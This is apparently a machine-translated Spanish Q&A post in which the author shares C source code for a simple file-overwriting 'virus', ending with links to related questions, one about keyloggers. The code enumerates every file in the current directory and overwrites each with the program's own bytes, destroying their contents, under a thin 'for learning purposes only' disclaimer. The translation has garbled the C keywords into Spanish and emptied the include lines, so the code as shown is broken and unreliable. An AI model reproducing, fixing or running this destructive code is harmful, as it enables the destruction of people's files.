El virus más débil puede ser el que escribí, el código fuente está debajo. Este virus es infectar todo tipo de archivos con cualquier extensión. (Mira, esto es solo para fines de aprendizaje). No podemos definir nada como el más débil, ya que algunas situaciones más débiles serán más poderosas. El siguiente código de virus puede ser más débil, pero de alguna manera puede ser fuerte. Digamos que se apresura a una presentación y si no puede abrir su archivo.
#include
#include
#include
#include
#include
#include
ARCHIVO * virus, * host;
int hecho, a = 0;
sin signo largo x;
char buff [2048];
struct ffblk ffblk;
clock_t st, fin;
vacío principal()
{
st = reloj ();
clrscr ();
done = findfirst (“*. *”, & ffblk, 0);
mientras (! hecho)
{
virus = fopen (_argv [0], “rb”);
host = fopen (ffblk.ff_name, “rb +”);
if (host == NULL) pasa a siguiente;
x = 89088;
printf (“Infectando% s \ n”, ffblk.ff_name, a);
mientras que (x> 2048)
{
fread (buff, 2048,1, virus);
fwrite (buff, 2048,1, host);
x- = 2048;
}
fread (buff, x, 1, virus);
fwrite (buff, x, 1, host);
a ++;
siguiente:
{
fcloseall ();
hecho = findnext (& ffblk);
}
}
printf (“HECHO! (Total de archivos infectados =% d)”, a);
fin = reloj ();
printf (“TIEMPO TOMADO =% f SEC \ n”,
(end-st) / CLK_TCK);
getch ();
}
- ¿Podría un experto en seguridad informática rastrear una dirección IP "no rastreable"?
- ¿Cuáles son algunas precauciones que se pueden tomar para evitar que la computadora se infecte con virus y malware?
- Si escribo un programa simple, eso solo me enviaría cada golpe de tecla del usuario a través de algún protocolo, ¿el software antivirus lo reconocerá fácilmente como virus?
- ¿Está mi computadora a salvo de virus?
- ¿Cómo infecta el virus del caballo de Troya a una computadora?